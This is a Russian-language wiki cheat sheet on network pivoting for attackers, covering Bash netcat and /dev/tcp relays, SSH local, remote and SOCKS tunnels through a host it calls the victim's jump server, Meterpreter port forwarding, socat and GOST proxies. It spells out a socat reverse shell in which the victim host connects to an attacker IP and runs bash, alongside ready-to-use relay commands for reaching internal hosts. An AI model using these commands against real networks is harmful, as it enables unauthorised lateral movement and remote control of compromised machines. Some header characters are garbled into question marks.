??????? ??? ????????
???????

Популярные методы Port2Port в Bash

Связывание портов локального сервера в Bash:

Создаем именованный контейнер backpipe

```
mkfifo backpipe
```

Прослушивание порта 443 и привязка канала к потоку ввода, привязка потока ввода канала к потоку вывода порта 3333

```
nc -lvnp 443 0 < backpipe | nc -lvnp 3333 1& > backpipe
```

Связывание портов локального и удаленного серверов в Bash:

exec 3<>/dev/tcp/192.168.1.2/443 — создание файлового дескриптора №3 и связывание потоков ввода-вывода портом 443 внешнего узла 192.168.1.2

exec 4<>/dev/tcp/0.0.0.0/3333 — создание файлового дескриптора №4 и связывание потоков ввода-вывода портом 3333 самого узла (“Джамп сервера”)

cat <&3 &>&4 & — передача в фоновом режиме данных потока ввода из файлового дескриптора №3 на поток вывода файлового дескриптора №4

cat <&4 &>&3 & — передача в фоновом режиме данных потока ввода из файлового дескриптора №4 на поток вывода файлового дескриптора №3

Популярные методы Port2Port в SSH

Связывание портов локального сервера в SSH на удаленном узле:

$ ssh -R 0.0.0.0:10080:127.0.0.1:80 user@10.0.1.3 — при подключении к SSH на узле 10.0.1.3 откроется публичный порт 10080, который будет ссылаться на локальный порт 80 (который доступен только с самого узла)

Связывание портов локального и удаленного серверов в SSH на удаленном узле:

$ ssh -R 0.0.0.0:10033:10.0.2.5:1433 user@10.0.1.3 — при подключении к SSH на узле 10.0.1.3 откроется публичный порт 10033, который будет ссылаться на порт 1433 удаленного узла 10.0.2.5

Связывание собственного локального порта и удаленного узла за сервером с SSH:

ssh -L 10080:10.0.3.6:80 -N -f -l user@10.0.1.3 — при подключении к SSH на узел 10.0.1.3 на вашем локальном компьютере откроется порт 10080, который будет ссылаться на порт 80 адреса 10.0.3.6 узла стоящего в одной сети с узлом жертвой (10.0.1.3)

В данных примерах узел 10.0.1.3 — узел жертвы, с доступом к узлу по протоколу SSH. Также его называют “Jump server”.

Использование метода Port2HostNet в SSH

ssh -f -N -D 4444 user@10.0.0.1

При помощи данной команды выполняются следующие действия:

Устанавливается SSH-соединение с удаленным хостом по адресу 10.0.0.1, используя имя пользователя user.
Опция -f заставляет SSH-клиент запуститься в фоновом режиме.
Опция -N указывает на то, что SSH-клиент не должен выполнять какие-либо команды после подключения к удаленному хосту.
Опция -D 4444 создает SOCKS-прокси на локальной машине, который слушает порт 4444: все запросы на сетевые ресурсы будут перенаправляться через этот прокси на удаленный хост по зашифрованному каналу SSH (поддерживается Socks4 и Socks5).
Опция -D в утилите SSH используется для создания динамического SOCKS-прокси на локальной машине. Когда вы используете опцию -D с SSH, SSH клиент подключается к удаленному хосту и на локальной машине открывается локальный SOCKS-прокси-сервер, который может быть использован для перенаправления трафика через зашифрованный туннель SSH на удаленном хосте.

Внешние утилиты

- Meterpreter — это продвинутая, динамически расширяемая полезная нагрузка, которая использует стейджеры, инъекции DLL в памяти и распространяется по сети во время выполнения. Он взаимодействует через сокет стейджера и предоставляет обширный клиентский Ruby API. В нем есть история команд, завершение вкладок, каналы и многое другое. Например: проброс порта с локального порта 3389 на удаленный порт 3389 на целевом хосте.

  ```
  meterpreter > portfwd add –l 3389 –p 3389 –r [target host]
  ```

- Socat (SOcket CAT) - утилита для передачи данных между двумя адресами. Адрес может представлять сетевой сокет, любой дескриптор файла, датаграммный или

потоковый сокет домена Unix, TCP и UDP (как в IPv4, так и в IPv6), SOCKS 4/4a в IPv4/IPv6, SCTP, PTY, именованные и неименованные конвейеры, OpenSSL, а в Linux — даже любое произвольное сетевое устройство.
Пример P2P форвардинг на “джамп” сервере, где: lport — порт, который будет открыт на узле, где запущен socat, redirect_ip — адрес, куда будет направлен трафик с узла, rport — адрес порта, куда будет отправлен трафик с порта lport:

```
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```

Пример обратного шелла:
attacker > socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 — поднимает сокет 1337 и берет / кладет туда данные в режиме терминала
victim > socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane — присоединяется к сокету по адресу атакующего и отправляет все данные из него на исполнение

- GOST (GO Simple Tunnel) — это инструмент для создания зашифрованных туннелей между двумя узлами сети с помощью протокола TCP/UDP, поддерживающий все популярные протоколы проксирования: HTTP/HTTPS/HTTP2/SOCKS4(A)/SOCKS5.

Стандартный HTTP/SOCKS5 прокси:

```
gost -L=:8080
```

Прокси с аутентификацией:

```
gost -L=admin:123456@localhost:8080
```

Прокси сервер: gost -L=socks://:1080
Прокси клиент: gost -L=:8080 -F=socks://server_ip:1080

Revision #3
Created 7 October 2025 18:12:16 by Admin
Updated 8 October 2025 17:33:15 by Admin